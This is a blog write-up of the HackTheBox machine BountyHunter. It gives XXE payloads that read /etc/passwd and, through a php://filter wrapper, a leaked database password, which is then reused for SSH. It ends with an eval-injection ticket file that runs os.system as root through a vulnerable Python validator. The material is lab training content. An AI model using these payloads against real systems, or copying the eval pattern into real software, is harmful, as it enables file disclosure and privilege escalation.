Lukas Marckmiller

eCPPT | eMAPT | eWPT | eJPT

M.Sc.

Penetration Tester

OWASP MSTG Contributor

Blog Post

HackTheBox BountyHunter

Oct 03, 2021 Writeup
HackTheBox BountyHunter

HackTheBox BountyHunter Writeup!

Hi! Thanks for reading my Writeup for the HTB Machine BountyHunter

User.txt

First, i started with running autorecon (autorecon <ip>). It’s a pretty nice tool for gathering information about open ports, services bound to ports and possible attack vectors. Taking a look at the results of autorecon reveals two open ports, SSH (22) and HTTP (80).
nmap I manually visited the website on port 80, found a php script and started running gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://<ip> -x php. It revealed following files and directories:

/resources,/index.php,portal.php,/assets, /js, /css, db.php

Next, I manually checked the discovered directories and found a tasklist in http://\<ip>/resources/README.txt containing the following text:

Tasks:

[ ] Disable ‘test’ account on portal and switch to hashed password. Disable nopass. [X] Write tracker submit script [ ] Connect tracker submit script to the database [X] Fix developer group permissions

We should keep this information in mind. Also, there’s a file called bountylog.js containing JavaScript code.

function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>${$('#exploitTitle').val()}</title>
		<cwe>${$('#cwe').val()}</cwe>
		<cvss>${$('#cvss').val()}</cvss>
		<reward>${$('#reward').val()}</reward>
		</bugreport>`
		let data = await returnSecret(btoa(xml));
  		$("#return").html(data)
	}
	catch(error) {
		console.log('Error:', error);
	}
}

Analyzing the code we can see that it sends a post request with an XML payload to tracker_diRbPr00f314.php. I thought about it for a second and got the idea: XML + Webrequest = XXE. So i started BurpSuite, moved to http://<ip>/log_submit.php and caught the post request to http://<ip>/tracker_diRbPr00f314.php which contained a base64 encoded payload. A URL and base64 decoding later I got the raw request.

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>1</title>
		<cwe>2</cwe>
		<cvss>3</cvss>
		<reward>4</reward>
		</bugreport>

In Burp I moved to the Repeater and built my payload with the help of this list.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
		<bugreport>
		<title>&ent;</title>
		<cwe>2</cwe>
		<cvss>3</cvss>
		<reward>4</reward>
		</bugreport>

Base64 and URL encoded i got the contents of the passwd file.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

So my XXE attack was successful. Unfortunately, I couldn’t read any other found files like db.php or portal.php in the expected webroot directory at /var/www/html/. So I was looking for a different payload to avoid absolute paths and found an alternative payload on hacktricks.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/db.php"> ]>
<data>&example;</data>

It revealed the contents of db.php.

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Nice! So we got a database user and a password. Unfortunately, I couldn’t find anything else interesting so I moved to the ssh port. Previously we found a user named developmentin /etc/passwd, if we try ssh development@<ip> we are prompted for a password. We haven’t found any password for this user so I just tried the password from the db.php file and …. it worked!

development@bountyhunter:~$ id   
uid=1000(development) gid=1000(development) groups=1000(development)   So we can retrieve the first flag.

Root.txt

I started to ennumerate the current directory and found a contract.txt contract It gives us a hint that on the system we can find an internal tool from Skytrain Inc, but we dont know where exactly. So lets ran find / -iname "*Skytrain*" 2>/dev/null. find The directory contains a python script ticketValidator.pywith straightforward python code.

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')

    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False

            ticketCode = x.replace("**", "").split("+")[0]

            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

The most important line validationNumber = eval(x.replace("**", "")) contains a eval. If we could manipulate the contents of x we can execute arbitrary commands. So lets follow x backwards through the script and observe that a file is read line by line and each line stored in the loop value x. To execute the contents of x we must satisfy all conditions:

  1. if loc.endswith(".md"). Our payload file must have the extension .md
  2. if int(ticketCode) % 7 == 4: The first part of our payload must a number that divided by 7 is a multiple of it with the rest of 4. The easiest value is 4.
  3. Our payload must contain a + in the ticketcode line.

An example can be found in /opt/skytrain_inc/invalid_tickets e.g:

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__  **31+410+86**
##Issued: 2021/04/06
#End Ticket  

But what do we achieve with this? I ran linpeas and found out that the current user can execute the script above as the root user without using a password! All put together i ended up with following payload:

# Skytrain Inc  
## Ticket to New Haven  
**4+ __import__('os').system('cat /root/root.txt > /tmp/root')**    
##Issued: 2021/04/06  
#End Ticket 

After that, we can read the flag with cat /tmp/root

Comments